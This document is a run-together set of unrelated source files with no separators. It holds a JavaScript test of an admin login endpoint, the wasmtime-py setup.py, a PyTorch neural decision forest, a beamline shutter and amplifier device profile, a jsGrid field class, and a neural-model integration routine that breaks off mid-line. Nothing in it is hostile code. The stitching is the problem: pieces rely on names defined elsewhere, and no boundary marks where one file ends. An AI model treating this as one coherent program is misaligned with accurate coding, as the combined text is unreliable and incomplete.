expect(response.status).toBe(409); expect(response.body.internal_code).toBe('password_mismatch'); })); }); describe('Admin exists, password match', () => { let admin = {}; beforeEach(() => truncateDatabase() .then(() => encryptPassword('123456')) .then(encriptedPassword => adminFactory.create({ email: 'test@test.test', password: encriptedPassword }) ) .then(createdAdmin => (admin = createdAdmin)) ); it('Check status code', () => getResponse({ endpoint: sessionsUrl, method: 'post', body: { email: admin.email, password: '123456' } }).then(response => { expect(response.status).toBe(200); })); it('Check that there is a token', () => getResponse({ endpoint: sessionsUrl, method: 'post', body: { email: admin.email, password: '123456' } }).then(response => { expect(response.body).toHaveProperty('token'); })); }); });
# type: ignore import setuptools import os with open("README.md", "r") as fh: long_description = fh.read() version = "0.19.0" # Give unique version numbers to all commits so our publication-on-each commit # works on main if 'PROD' not in os.environ: stream = os.popen('git rev-list HEAD --count') output = stream.read() version += '.dev' + output.strip() setuptools.setup( name="wasmtime", version=version, author="The Wasmtime Project Developers", author_email="hello@bytecodealliance.org", description="A WebAssembly runtime powered by Wasmtime", long_description=long_description, long_description_content_type="text/markdown", license="Apache-2.0 WITH LLVM-exception", url="https://github.com/bytecodealliance/wasmtime-py", project_urls={ "Bug Tracker": "https://github.com/bytecodealliance/wasmtime-py/issues", "Documentation": "https://bytecodealliance.github.io/wasmtime-py/", "Source Code": "https://github.com/bytecodealliance/wasmtime-py", }, packages=['wasmtime'], include_package_data=True, python_requires='>=3.6', test_suite="tests", extras_require={ 'testing': [ 'coverage', 'pytest', 'pycparser', 'pytest-flake8', 'pytest-mypy', ], }, classifiers=[ 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: Implementation :: CPython', 'Programming Language :: Python :: Implementation :: PyPy', 'Topic :: Software Development :: Compilers', 'Topic :: Software Development :: Interpreters', 'Programming Language :: Rust', ] )
import torch import torch.nn as nn from torch.nn.parameter import Parameter from collections import OrderedDict import numpy as np import torch.nn.functional as F import resnet # smallest positive float number FLT_MIN = float(np.finfo(np.float32).eps) FLT_MAX = float(np.finfo(np.float32).max) class MNISTFeatureLayer(nn.Module): def __init__(self, dropout_rate, feat_length = 512, shallow=False): super(MNISTFeatureLayer, self).__init__() self.shallow = shallow self.feat_length = feat_length if shallow: self.add_module('conv1', nn.Conv2d(1, 32, kernel_size=15,padding=1,stride=5)) else: self.conv_layers = nn.Sequential() self.conv_layers.add_module('conv1', nn.Conv2d(1, 32, kernel_size=3, padding=1)) self.conv_layers.add_module('bn1', nn.BatchNorm2d(32)) self.conv_layers.add_module('relu1', nn.ReLU()) self.conv_layers.add_module('pool1', nn.MaxPool2d(kernel_size=2)) #self.add_module('drop1', nn.Dropout(dropout_rate)) self.conv_layers.add_module('conv2', nn.Conv2d(32, 64, kernel_size=3, padding=1)) self.conv_layers.add_module('bn2', nn.BatchNorm2d(64)) self.conv_layers.add_module('relu2', nn.ReLU()) self.conv_layers.add_module('pool2', nn.MaxPool2d(kernel_size=2)) #self.add_module('drop2', nn.Dropout(dropout_rate)) self.conv_layers.add_module('conv3', nn.Conv2d(64, 128, kernel_size=3, padding=1)) self.conv_layers.add_module('bn3', nn.BatchNorm2d(128)) self.conv_layers.add_module('relu3', nn.ReLU()) self.conv_layers.add_module('pool3', nn.MaxPool2d(kernel_size=2)) #self.add_module('drop3', nn.Dropout(dropout_rate)) self.linear_layer = nn.Linear(self.get_conv_size(), feat_length, bias=True) def get_out_feature_size(self): return self.feat_length def get_conv_size(self): if self.shallow: return 64*4*4 else: return 128*3*3 def forward(self, x): feats = self.conv_layers(x) feats = feats.view(x.size()[0], -1) return self.linear_layer(feats) class CIFAR10FeatureLayer(nn.Sequential): def __init__(self, dropout_rate, feat_length = 512, archi_type='resnet18'): super(CIFAR10FeatureLayer, self).__init__() self.archi_type = archi_type self.feat_length = feat_length if self.archi_type == 'default': self.add_module('conv1', nn.Conv2d(3, 32, kernel_size=3, padding=1)) self.add_module('bn1', nn.BatchNorm2d(32)) self.add_module('relu1', nn.ReLU()) self.add_module('pool1', nn.MaxPool2d(kernel_size=2)) #self.add_module('drop1', nn.Dropout(dropout_rate)) self.add_module('conv2', nn.Conv2d(32, 32, kernel_size=3, padding=1)) self.add_module('bn2', nn.BatchNorm2d(32)) self.add_module('relu2', nn.ReLU()) self.add_module('pool2', nn.MaxPool2d(kernel_size=2)) #self.add_module('drop2', nn.Dropout(dropout_rate)) self.add_module('conv3', nn.Conv2d(32, 64, kernel_size=3, padding=1)) self.add_module('bn3', nn.BatchNorm2d(64)) self.add_module('relu3', nn.ReLU()) self.add_module('pool3', nn.MaxPool2d(kernel_size=2)) #self.add_module('drop3', nn.Dropout(dropout_rate)) elif self.archi_type == 'resnet18': self.add_module('resnet18', resnet.ResNet18(feat_length)) elif self.archi_type == 'resnet50': self.add_module('resnet50', resnet.ResNet50(feat_length)) elif self.archi_type == 'resnet152': self.add_module('resnet152', resnet.ResNet152(feat_length)) else: raise NotImplementedError def get_out_feature_size(self): if self.archi_type == 'default': return 64*4*4 else: return self.feat_length class NexperiaFeatureLayer(nn.Sequential): def __init__(self, dropout_rate, feat_length = 512, archi_type='resnet18'): super(NexperiaFeatureLayer, self).__init__() self.archi_type = archi_type self.feat_length = feat_length if self.archi_type in ['resnet18', 'resnet50', 'resnet152']: self.add_module(archi_type, self.get_resnet_pretrained(self.archi_type, self.feat_length)) elif self.archi_type in ['densenet121', 'densenet161', 'densenet169', 'densenet201']: self.add_module(archi_type, self.get_densenet_pretrained(self.archi_type, self.feat_length)) else: raise NotImplementedError def get_resnet_pretrained(self, archi_type, feat_length, grayscale=True): from torchvision import models model = getattr(models, archi_type)(pretrained=True) in_features = model.fc.in_features if grayscale: # replace the first convolution layer stride = model.conv1.kernel_size padding = model.conv1.padding kernel_size = model.conv1.kernel_size out_channels = model.conv1.out_channels del model.conv1 model.conv1 = nn.Conv2d(1, out_channels, kernel_size, stride, padding) # replace the FC layer del model.fc model.fc = nn.Linear(in_features, feat_length, bias=True) return model def get_densenet_pretrained(self, archi_type, feat_length, grayscale=True): from torchvision import models model = getattr(models, archi_type)(pretrained=True) in_features = model.classifier.in_features if grayscale: # replace the first convolution layer stride = model.features.conv0.kernel_size padding = model.features.conv0.padding kernel_size = model.features.conv0.kernel_size out_channels = model.features.conv0.out_channels model.features[0] = nn.Conv2d(1, out_channels, kernel_size, stride, padding) model.classifier = nn.Linear(in_features, feat_length, bias=True) return model def get_out_feature_size(self): return self.feat_length class Tree(nn.Module): def __init__(self, depth, feature_length, vector_length, use_cuda = False): """ Args: depth (int): depth of the neural decision tree. feature_length (int): number of neurons in the last feature layer vector_length (int): length of the mean vector stored at each tree leaf node """ super(Tree, self).__init__() self.depth = depth self.n_leaf = 2 ** depth self.feature_length = feature_length self.vector_length = vector_length self.is_cuda = use_cuda # used in leaf node update self.mu_cache = [] onehot = np.eye(feature_length) # randomly use some neurons in the feature layer to compute decision function self.using_idx = np.random.choice(feature_length, self.n_leaf, replace=False) self.feature_mask = onehot[self.using_idx].T self.feature_mask = Parameter(torch.from_numpy(self.feature_mask).type(torch.FloatTensor), requires_grad=False) # a leaf node contains a mean vector and a covariance matrix self.pi = np.zeros((self.n_leaf, self.vector_length)) if not use_cuda: self.pi = Parameter(torch.from_numpy(self.pi).type(torch.FloatTensor), requires_grad=False) else: self.pi = Parameter(torch.from_numpy(self.pi).type(torch.FloatTensor).cuda(), requires_grad=False) # use sigmoid function as the decision function self.decision = nn.Sequential(OrderedDict([ ('sigmoid', nn.Sigmoid()), ])) def forward(self, x, save_flag = False): """ Args: param x (Tensor): input feature batch of size [batch_size,n_features] Return: (Tensor): routing probability of size [batch_size,n_leaf] """ # def debug_hook(grad): # print('This is a debug hook') # print(grad.shape) # print(grad) cache = {} # save some intermediate results for analysis if x.is_cuda and not self.feature_mask.is_cuda: self.feature_mask = self.feature_mask.cuda() feats = torch.mm(x, self.feature_mask) # ->[batch_size,n_leaf] decision = self.decision(feats) # passed sigmoid->[batch_size,n_leaf] decision = torch.unsqueeze(decision,dim=2) # ->[batch_size,n_leaf,1] decision_comp = 1-decision decision = torch.cat((decision,decision_comp),dim=2) # -> [batch_size,n_leaf,2] # for debug #decision.register_hook(debug_hook) # compute route probability # note: we do not use decision[:,0] # save some intermediate results for analysis if save_flag: cache['decision'] = decision[:,:,0] batch_size = x.size()[0] mu = x.data.new(batch_size,1,1).fill_(1.) begin_idx = 1 end_idx = 2 for n_layer in range(0, self.depth): # mu stores the probability a sample is routed at certain node # repeat it to be multiplied for left and right routing mu = mu.repeat(1, 1, 2) # the routing probability at n_layer _decision = decision[:, begin_idx:end_idx, :] # -> [batch_size,2**n_layer,2] mu = mu*_decision # -> [batch_size,2**n_layer,2] begin_idx = end_idx end_idx = begin_idx + 2 ** (n_layer+1) # merge left and right nodes to the same layer mu = mu.view(batch_size, -1, 1) mu = mu.view(batch_size, -1) if save_flag: return mu, cache else: return mu def pred(self, x): """ Predict a vector based on stored vectors and routing probability Args: param x (Tensor): input feature batch of size [batch_size, feature_length] Return: (Tensor): prediction [batch_size,vector_length] """ p = torch.mm(self(x), self.pi) return p def get_pi(self): return self.pi def cal_prob(self, mu, pi): """ :param mu [batch_size,n_leaf] :param pi [n_leaf,n_class] :return: label probability [batch_size,n_class] """ p = torch.mm(mu,pi) return p def update_label_distribution(self, target_batches): """ compute new mean vector based on a simple update rule inspired from traditional regression tree Args: param feat_batch (Tensor): feature batch of size [batch_size, feature_length] param target_batch (Tensor): target batch of size [batch_size, vector_length] """ with torch.no_grad(): new_pi = self.pi.data.new(self.n_leaf, self.vector_length).fill_(0.) # Tensor [n_leaf,n_class] for mu, target in zip(self.mu_cache, target_batches): prob = torch.mm(mu, self.pi) # [batch_size,n_class] _target = target.unsqueeze(1) # [batch_size,1,n_class] _pi = self.pi.unsqueeze(0) # [1,n_leaf,n_class] _mu = mu.unsqueeze(2) # [batch_size,n_leaf,1] _prob = torch.clamp(prob.unsqueeze(1),min=1e-6,max=1.) # [batch_size,1,n_class] _new_pi = torch.mul(torch.mul(_target,_pi),_mu)/_prob # [batch_size,n_leaf,n_class] new_pi += torch.sum(_new_pi,dim=0) new_pi = F.softmax(new_pi, dim=1).data self.pi = Parameter(new_pi, requires_grad = False) return class Forest(nn.Module): def __init__(self, n_tree, tree_depth, feature_length, vector_length, use_cuda = False): super(Forest, self).__init__() self.trees = nn.ModuleList() self.n_tree = n_tree self.tree_depth = tree_depth self.feature_length = feature_length self.vector_length = vector_length for _ in range(n_tree): tree = Tree(tree_depth, feature_length, vector_length, use_cuda) self.trees.append(tree) def forward(self, x, save_flag = False): predictions = [] cache = [] for tree in self.trees: if save_flag: mu, cache_tree = tree(x, save_flag = True) p = tree.cal_prob(mu, tree.get_pi()) cache.append(cache_tree) else: p = tree.pred(x) predictions.append(p.unsqueeze(2)) prediction = torch.cat(predictions, dim=2) prediction = torch.sum(prediction, dim=2)/self.n_tree if save_flag: return prediction, cache else: return prediction class NeuralDecisionForest(nn.Module): def __init__(self, feature_layer, forest): super(NeuralDecisionForest, self).__init__() self.feature_layer = feature_layer self.forest = forest def forward(self, x, save_flag = False): feats = self.feature_layer(x) if save_flag: pred, cache = self.forest(feats, save_flag = True) return pred, cache, 0 else: pred = self.forest(feats) return pred
from nslsii.devices import TwoButtonShutter from ophyd import (ProsilicaDetector, SingleTrigger, Component as Cpt, Device, EpicsSignal, EpicsSignalRO, ImagePlugin, StatsPlugin, ROIPlugin, DeviceStatus) import bluesky.plans as bp from ophyd.status import SubscriptionStatus print(__file__) import time import datetime class MFC(Device): flow = Cpt(EpicsSignal, '-RB', write_pv='-SP') gas_he = MFC('XF:08IDB-OP{IC}FLW:He', name='gas_he') gas_he.flow.tolerance = 0.01 gas_n2 = MFC('XF:08IDB-OP{IC}FLW:N2', name='gas_n2') gas_n2.flow.tolerance = 0.01 class DeviceWithNegativeReadBack(Device): read_pv = Cpt(EpicsSignal, 'V-Sense') write_pv = Cpt(EpicsSignal, 'V-Set') def __init__(self,*args, **kwargs): super().__init__(*args, **kwargs) self._moving = None def set(self,value): def callback(*args,**kwargs): if self._moving and abs(abs(self.read_pv.get())-abs(self.write_pv.get())) < 0.5: self._moving = False return True else: self._moving = True return False status = SubscriptionStatus(self.read_pv, callback) self.write_pv.set(value) return status class WPS(Device): hv300 = Cpt(DeviceWithNegativeReadBack, 'HV:u300}') hv301 = Cpt(DeviceWithNegativeReadBack, 'HV:u301}') hv302 = Cpt(DeviceWithNegativeReadBack, 'HV:u302}') hv303 = Cpt(DeviceWithNegativeReadBack, 'HV:u303}') hv304 = Cpt(DeviceWithNegativeReadBack, 'HV:u304}') hv305 = Cpt(DeviceWithNegativeReadBack, 'HV:u305}') hv306 = Cpt(DeviceWithNegativeReadBack, 'HV:u306}') hv307 = Cpt(DeviceWithNegativeReadBack, 'HV:u307}') ''' lv0 = Cpt(EpicsSignal, '-LV:u0}V-Sense', write_pv='-LV:u0}V-Set') lv1 = Cpt(EpicsSignal, '-LV:u1}V-Sense', write_pv='-LV:u1}V-Set') lv2 = Cpt(EpicsSignal, '-LV:u2}V-Sense', write_pv='-LV:u2}V-Set') lv3 = Cpt(EpicsSignal, '-LV:u3}V-Sense', write_pv='-LV:u3}V-Set') lv4 = Cpt(EpicsSignal, '-LV:u4}V-Sense', write_pv='-LV:u4}V-Set') lv5 = Cpt(EpicsSignal, '-LV:u5}V-Sense', write_pv='-LV:u5}V-Set') lv6 = Cpt(EpicsSignal, '-LV:u6}V-Sense', write_pv='-LV:u6}V-Set') lv7 = Cpt(EpicsSignal, '-LV:u7}V-Sense', write_pv='-LV:u7}V-Set') ''' wps1 = WPS('XF:08IDB-OP{WPS:01-', name='wps1') class Shutter(Device): def __init__(self, name): self.name = name if pb4.connected: self.output = pb4.do3.default_pol if self.output.get() == 1: self.state = 'closed' elif self.output.get() == 0.0953125: self.state = 'open' self.function_call = None self.output.subscribe(self.update_state) else: self.state = 'unknown' def subscribe(self, function): self.function_call = function def unsubscribe(self): self.function_call = None def update_state(self, pvname=None, value=None, char_value=None, **kwargs): if value == 1: self.state = 'closed' elif value == 0: self.state = 'open' if self.function_call is not None: self.function_call(pvname=pvname, value=value, char_value=char_value, **kwargs) def open(self): print('Opening {}'.format(self.name)) self.output.put(0) self.state = 'open' def close(self): print('Closing {}'.format(self.name)) self.output.put(1) self.state = 'closed' def open_plan(self): print('Opening {}'.format(self.name)) yield from bps.abs_set(self.output, 0, wait=True) self.state = 'open' def close_plan(self): print('Closing {}'.format(self.name)) yield from bps.abs_set(self.output, 1, wait=True) self.state = 'closed' #shutter = Shutter(name = 'SP Shutter') #shutter.shutter_type = 'SP' class ShutterMotor: def __init__(self, name): self.name = name if usermotor3.connected: self.output = usermotor3.pos self.open_value = 0.01 self.open_range = 1 self.closed_value = 1.1 self.value = self.output.read()[self.output.name]['value'] if self.value-self.open_value > self.open_range: self.state = 'closed' else: self.state = 'open' self.function_call = None self.output.subscribe(self.update_state) else: self.state = 'unknown' def subscribe(self, function): self.function_call = function def unsubscribe(self): self.function_call = None def update_state(self, pvname=None, value=None, char_value=None, **kwargs): if self.value-self.open_value > self.open_range: self.state = 'closed' else: self.state = 'open' if self.function_call is not None: self.function_call(pvname=pvname, value=value, char_value=char_value, **kwargs) def open(self): RE(self.open_plan()) def close(self): RE(self.close_plan()) def open_plan(self, printing=True): if printing: print('Opening {}'.format(self.name)) # yield from bps.abs_set(self.output, self.open_value, wait=True) yield from bps.mv(self.output, self.open_value, wait=True) self.state = 'open' def close_plan(self, printing=True): if printing: print('Closing {}'.format(self.name)) # yield from bps.abs_set(self.output, self.closed_value, wait=True) yield from bps.mv(self.output, self.closed_value, wait=True) self.state = 'closed' def _close_direct(self): self.output.user_setpoint.put(self.closed_value) shutter = ShutterMotor(name='User Shutter') shutter.shutter_type = 'SP' class TwoButtonShutterISS(TwoButtonShutter): RETRY_PERIOD = 1 def stop(self, success=False): pass def set(self, val): if self._set_st is not None: raise RuntimeError(f'trying to set {self.name}' ' while a set is in progress') cmd_map = {self.open_str: self.open_cmd, self.close_str: self.close_cmd} target_map = {self.open_str: self.open_val, self.close_str: self.close_val} cmd_sig = cmd_map[val] target_val = target_map[val] st = DeviceStatus(self) if self.status.get() == target_val: st._finished() return st self._set_st = st # print(self.name, val, id(st)) # enums = self.status.enum_strs def shutter_cb(value, timestamp, **kwargs): # At some point ophyd/pyepics started to do this # remapping before passing to the callbacks so `int` call # here was failing. this means that we were never getting to # the next check which means we were never flipping that status # object to done. # value = enums[int(value)] if value == target_val: self._set_st = None self.status.clear_sub(shutter_cb) st._finished() # cmd_enums = cmd_sig.enum_strs count = 0 _time_fmtstr = '%Y-%m-%d %H:%M:%S' def cmd_retry_cb(value, timestamp, **kwargs): nonlocal count # At some point ophyd/pyepics started to do this # remapping before passing to the callbacks so `int` call # here was failing # value = cmd_enums[int(value)] count += 1 if count > self.MAX_ATTEMPTS: cmd_sig.clear_sub(cmd_retry_cb) self._set_st = None self.status.clear_sub(shutter_cb) st._finished(success=False) if value == 'None': if not st.done: time.sleep(self.RETRY_PERIOD) cmd_sig.set(1) # ts = datetime.datetime.fromtimestamp(timestamp) \ # .strftime(_time_fmtstr) if count > 2: print(f'** ({ttime.ctime()}) Had to reactuate {self.name} while {val[:4]}ing. Attempt {count}.') else: cmd_sig.clear_sub(cmd_retry_cb) cmd_sig.subscribe(cmd_retry_cb, run=False) self.status.subscribe(shutter_cb) cmd_sig.set(1) return st shutter_ph_2b = TwoButtonShutterISS('XF:08IDA-PPS{PSh}', name='shutter_ph_2b') shutter_fe_2b = TwoButtonShutterISS('XF:08ID-PPS{Sh:FE}', name='shutter_fe_2b') class EPS_Shutter(Device): state = Cpt(EpicsSignal, 'Pos-Sts') cls = Cpt(EpicsSignal, 'Cmd:Cls-Cmd') opn = Cpt(EpicsSignal, 'Cmd:Opn-Cmd') error = Cpt(EpicsSignal,'Err-Sts') permit = Cpt(EpicsSignal, 'Permit:Enbl-Sts') enabled = Cpt(EpicsSignal, 'Enbl-Sts') def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.color = 'red' def open_plan(self): yield from bps.mv(self.opn, 1) def close_plan(self): yield from bps.mv(self.cls, 1) def open(self): print('Opening {}'.format(self.name)) self.opn.put(1) def close(self): print('Closing {}'.format(self.name)) self.cls.put(1) shutter_fe = EPS_Shutter('XF:08ID-PPS{Sh:FE}', name = 'FE Shutter') shutter_fe.shutter_type = 'FE' shutter_ph = EPS_Shutter('XF:08IDA-PPS{PSh}', name = 'PH Shutter') shutter_ph.shutter_type = 'PH' class ICAmplifier(Device): #low_noise_gain = Cpt(EpicsSignal, 'LN}I0') def __init__(self, *args, gain_0, gain_1, gain_2, hspeed_bit, bw_10mhz_bit, bw_1mhz_bit, lnoise, hspeed, bwidth, par = None, **kwargs): super().__init__(*args, **kwargs) self.gain_0 = EpicsSignal(self.prefix + gain_0, name=self.name + '_gain_0') self.gain_1 = EpicsSignal(self.prefix + gain_1, name=self.name + '_gain_1') self.gain_2 = EpicsSignal(self.prefix + gain_2, name=self.name + '_gain_2') self.hspeed_bit = EpicsSignal(self.prefix + hspeed_bit, name=self.name + '_hspeed_bit') self.bw_10mhz_bit = EpicsSignal(self.prefix + bw_10mhz_bit, name=self.name + '_bw_10mhz_bit') self.bw_1mhz_bit = EpicsSignal(self.prefix + bw_1mhz_bit, name=self.name + '_bw_1mhz_bit') self.low_noise_gain = EpicsSignal(self.prefix + lnoise, name=self.name + '_lnoise') self.high_speed_gain = EpicsSignal(self.prefix + hspeed, name=self.name + '_hspeed') self.band_width = EpicsSignal(self.prefix + bwidth, name=self.name + '_bwidth') self.par = par def set_gain(self, value: int, high_speed: bool): val = int(value) - 2 if not ((high_speed and (1 <= val < 7)) or (not high_speed and (0 <= val < 6))): print('{} invalid value. Ignored...'.format(self.name)) return 'Aborted' if high_speed: val -= 1 self.low_noise_gain.put(0) self.high_speed_gain.put(val + 1) self.hspeed_bit.put(1) else: self.low_noise_gain.put(val + 1) self.high_speed_gain.put(0) self.hspeed_bit.put(0) self.gain_0.put((val >> 0) & 1) self.gain_1.put((val >> 1) & 1) self.gain_2.put((val >> 2) & 1) def set_gain_plan(self, value: int, high_speed: bool): val = int(value) - 2 if not ((high_speed and (1 <= val < 7)) or (not high_speed and (0 <= val < 6))): print('{} invalid value. Ignored...'.format(self.name)) return 'Aborted' if high_speed: val -= 1 yield from bps.abs_set(self.low_noise_gain, 0) yield from bps.abs_set(self.high_speed_gain, val + 1) yield from bps.abs_set(self.hspeed_bit, 1) else: yield from bps.abs_set(self.low_noise_gain, val + 1) yield from bps.abs_set(self.high_speed_gain, 0) yield from bps.abs_set(self.hspeed_bit, 0) yield from bps.abs_set(self.gain_0, (val >> 0) & 1) yield from bps.abs_set(self.gain_1, (val >> 1) & 1) yield from bps.abs_set(self.gain_2, (val >> 2) & 1) def get_gain(self): if self.low_noise_gain.get() == 0: return [int(self.high_speed_gain.enum_strs[self.high_speed_gain.get()][-1]),1] elif self.high_speed_gain.get() == 0: return [int(self.low_noise_gain.enum_strs[self.low_noise_gain.get()][-1]),0] ''' if self.low_noise_gain.get() == 0: return [self.high_speed_gain.enum_strs[self.high_speed_gain.get()], 1] elif self.high_speed_gain.get() == 0: return [self.low_noise_gain.enum_strs[self.low_noise_gain.get()], 0] else: return ['0', 0] ''' i0_amp = ICAmplifier('XF:08IDB-CT{', gain_0='Amp-I0}GainBit:0-Sel', gain_1='Amp-I0}GainBit:1-Sel', gain_2='Amp-I0}GainBit:2-Sel', hspeed_bit='Amp-I0}GainMode-Sel', bw_10mhz_bit='Amp-I0}10MHzMode-Sel', bw_1mhz_bit='Amp-I0}1MHzMode-Sel', lnoise='Amp-I0}LowNoise-Sel', hspeed='Amp-I0}HighSpeed-Sel', bwidth='Amp-I0}Bandwidth-Sel', name='i0_amp') it_amp = ICAmplifier('XF:08IDB-CT{', gain_0='Amp-It}GainBit:0-Sel', gain_1='Amp-It}GainBit:1-Sel', gain_2='Amp-It}GainBit:2-Sel', hspeed_bit='Amp-It}GainMode-Sel', bw_10mhz_bit='Amp-It}10MHzMode-Sel', bw_1mhz_bit='Amp-It}1MHzMode-Sel', lnoise='Amp-It}LowNoise-Sel', hspeed='Amp-It}HighSpeed-Sel', bwidth='Amp-It}Bandwidth-Sel', name='it_amp') ir_amp = ICAmplifier('XF:08IDB-CT{', gain_0='Amp-Ir}GainBit:0-Sel', gain_1='Amp-Ir}GainBit:1-Sel', gain_2='Amp-Ir}GainBit:2-Sel', hspeed_bit='Amp-Ir}GainMode-Sel', bw_10mhz_bit='Amp-Ir}10MHzMode-Sel', bw_1mhz_bit='Amp-Ir}1MHzMode-Sel', lnoise='Amp-Ir}LowNoise-Sel', hspeed='Amp-Ir}HighSpeed-Sel', bwidth='Amp-Ir}Bandwidth-Sel', name='ir_amp') iff_amp = ICAmplifier('XF:08IDB-CT{', gain_0='Amp-If}GainBit:0-Sel', gain_1='Amp-If}GainBit:1-Sel', gain_2='Amp-If}GainBit:2-Sel', hspeed_bit='Amp-If}GainMode-Sel', bw_10mhz_bit='Amp-If}10MHzMode-Sel', bw_1mhz_bit='Amp-If}1MHzMode-Sel', lnoise='Amp-If}LowNoise-Sel', hspeed='Amp-If}HighSpeed-Sel', bwidth='Amp-If}Bandwidth-Sel', name='iff_amp') # # i0_amp = ICAmplifier('XF:08IDB-CT{', gain_0='ES-DO}2_8_0', gain_1='ES-DO}2_8_1', # gain_2='ES-DO}2_8_2', hspeed_bit='ES-DO}2_8_3', bw_10mhz_bit='ES-DO}2_8_4', bw_1mhz_bit='ES-DO}2_8_5', # lnoise='Amp-LN}I0', hspeed='Amp-HS}I0', bwidth='Amp-BW}I0', name='i0_amp') # # it_amp = ICAmplifier('XF:08IDB-CT{', gain_0='ES-DO}2_9_0', gain_1='ES-DO}2_9_1', # gain_2='ES-DO}2_9_2', hspeed_bit='ES-DO}2_9_3', bw_10mhz_bit='ES-DO}2_9_4', bw_1mhz_bit='ES-DO}2_9_5', # lnoise='Amp-LN}It', hspeed='Amp-HS}It', bwidth='Amp-BW}It', name='it_amp') # # ir_amp = ICAmplifier('XF:08IDB-CT{', gain_0='ES-DO}2_10_0', gain_1='ES-DO}2_10_1', # gain_2='ES-DO}2_10_2', hspeed_bit='ES-DO}2_10_3', bw_10mhz_bit='ES-DO}2_10_4', bw_1mhz_bit='ES-DO}2_10_5', # lnoise='Amp-LN}Ir', hspeed='Amp-HS}Ir', bwidth='Amp-BW}Ir', name='ir_amp') # # iff_amp = ICAmplifier('XF:08IDB-CT{', gain_0='ES-DO}2_11_0', gain_1='ES-DO}2_11_1', # gain_2='ES-DO}2_11_2', hspeed_bit='ES-DO}2_11_3', bw_10mhz_bit='ES-DO}2_11_4', bw_1mhz_bit='ES-DO}2_11_5', # lnoise='Amp-LN}If', hspeed='Amp-HS}If', bwidth='Amp-BW}If', name='iff_amp') #old pizzabox pba1.adc7.amp = i0_amp pba1.adc1.amp = it_amp pba1.adc6.amp = iff_amp pba2.adc6.amp = i0_amp
(function (jsGrid, $, undefined) { function Field(config) { $.extend(true, this, config); this.sortingFunc = this._getSortingFunc(); } Field.prototype = { name: "", title: null, css: "", align: "", width: 100, visible: true, filtering: true, inserting: true, editing: true, sorting: true, sorter: "string", // name of SortStrategy or function to compare elements headerTemplate: function () { return (this.title === undefined || this.title === null) ? this.name : this.title; }, itemTemplate: function (value, item) { return value; }, filterTemplate: function () { return ""; }, insertTemplate: function () { return ""; }, editTemplate: function (value, item) { this._value = value; return this.itemTemplate(value, item); }, filterValue: function () { return ""; }, insertValue: function () { return ""; }, editValue: function () { return this._value; }, _getSortingFunc: function () { var sorter = this.sorter; if ($.isFunction(sorter)) { return sorter; } if (typeof sorter === "string") { return jsGrid.sortStrategies[sorter]; } throw Error("wrong sorter for the field \"" + this.name + "\"!"); } }; jsGrid.Field = Field; }(jsGrid, jQuery));
import numpy as np import numba from . import loadDefaultParams as dp def timeIntegration(params): """Sets up the parameters for time integration :param params: Parameter dictionary of the model :type params: dict :return: Integrated activity variables of the model :rtype: (numpy.ndarray,) """ dt = params["dt"] # Time step for the Euler intergration (ms) duration = params["duration"] # imulation duration (ms) RNGseed = params["seed"] # seed for RNG # ------------------------------------------------------------------------ # local parameters # See Papadopoulos et al., Relations between large-scale brain connectivity and effects of regional stimulation # depend on collective dynamical state, arXiv, 2020 tau_exc = params["tau_exc"] # tau_inh_s = params["tau_inh_s"] # tau_inh_d = params["tau_inh_d"] # w1 = params["w1"] # w2 = params["w2"] # w3 = params["w3"] # w4 = params["w4"] # w5 = params["w5"] # w6 = params["w6"] # w7 = params["w7"] # alpha_exc = params["alpha_exc"] # alpha_inh_s = params["alpha_inh_s"] # alpha_inh_d = params["alpha_inh_d"] # theta_exc = params["theta_exc"] # theta_inh_s = params["theta_inh_s"] # theta_inh_d = params["theta_inh_d"] # q = params["q"] # # external input parameters: # Parameter of the Ornstein-Uhlenbeck process for the external input(ms) tau_ou = params["tau_ou"] # Parameter of the Ornstein-Uhlenbeck (OU) process for the external input ( mV/ms/sqrt(ms) ) sigma_ou = params["sigma_ou"] # Mean external excitatory input (OU process) (mV/ms) exc_ou_mean = params["exc_ou_mean"] # Mean external inhibitory input to somatic inhibition (OU process) (mV/ms) inh_s_ou_mean = params["inh_s_ou_mean"] # Mean external inhibitory input to dendritic inhibition (OU process) (mV/ms) inh_d_ou_mean = params["inh_d_ou_mean"] # ------------------------------------------------------------------------ # global coupling parameters # Connectivity matrix # Interareal relative coupling strengths (values between 0 and 1), Cmat(i,j) connection from jth to ith Cmat = params["Cmat"] N = len(Cmat) # Number of nodes K_gl = params["K_gl"] # global coupling strength # Interareal connection delay lengthMat = params["lengthMat"] signalV = params["signalV"] if N == 1: Dmat = np.zeros((N, N)) else: # Interareal connection delays, Dmat(i,j) Connnection from jth node to ith (ms) Dmat = dp.computeDelayMatrix(lengthMat, signalV) Dmat[np.eye(len(Dmat)) == 1] = np.zeros(len(Dmat)) Dmat_ndt = np.around(Dmat / dt).astype(int) # delay matrix in multiples of dt params["Dmat_ndt"] = Dmat_ndt # ------------------------------------------------------------------------ # Initialization # Floating point issue in np.arange() workaraound: use integers in np.arange() t = np.arange(1, round(duration, 6) / dt + 1) * dt # Time variable (ms) sqrt_dt = np.sqrt(dt) max_global_delay = np.max(Dmat_ndt) startind = int(max_global_delay + 1) # timestep to start integration at exc_ou = params["exc_ou"] inh_s_ou = params["inh_s_ou"] inh_d_ou = params["inh_d_ou"] exc_ext = params["exc_ext"] inh_s_ext = params["inh_s_ext"] inh_d_ext = params["inh_d_ext"] # state variable arrays, have length of t + startind # they store initial conditions AND simulated data excs = np.zeros((N, startind + len(t))) inh_ss = np.zeros((N, startind + len(t))) inh_ds = np.zeros((N, startind + len(t))) # ------------------------------------------------------------------------ # Set initial values # if initial values are just a Nx1 array if np.shape(params["exc_init"])[1] == 1: exc_init = np.dot(params["exc_init"], np.ones((1, startind))) inh_s_init = np.dot(params["inh_s_init"], np.ones((1, startind))) inh_d_init = np.dot(params["inh_d_init"], np.ones((1, startind))) # if initial values are a Nxt array else: exc_init = params["exc_init"][:, -startind:] inh_s_init = params["inh_s_init"][:, -startind:] inh_d_init = params["inh_d_init"][:, -startind:] # xsd = np.zeros((N,N)) # delayed activity exc_input_d = np.zeros(N) # delayed input to exc inh_s_input_d = np.zeros(N) # delayed input to inh_s inh_d_input_d = np.zeros(N) # delayed input to inh_d if RNGseed: np.random.seed(RNGseed) # Save the noise in the activity array to save memory excs[:, startind:] = np.random.standard_normal((N, len(t))) inh_ss[:, startind:] = np.random.standard_normal((N, len(t))) inh_ds[:, startind:] = 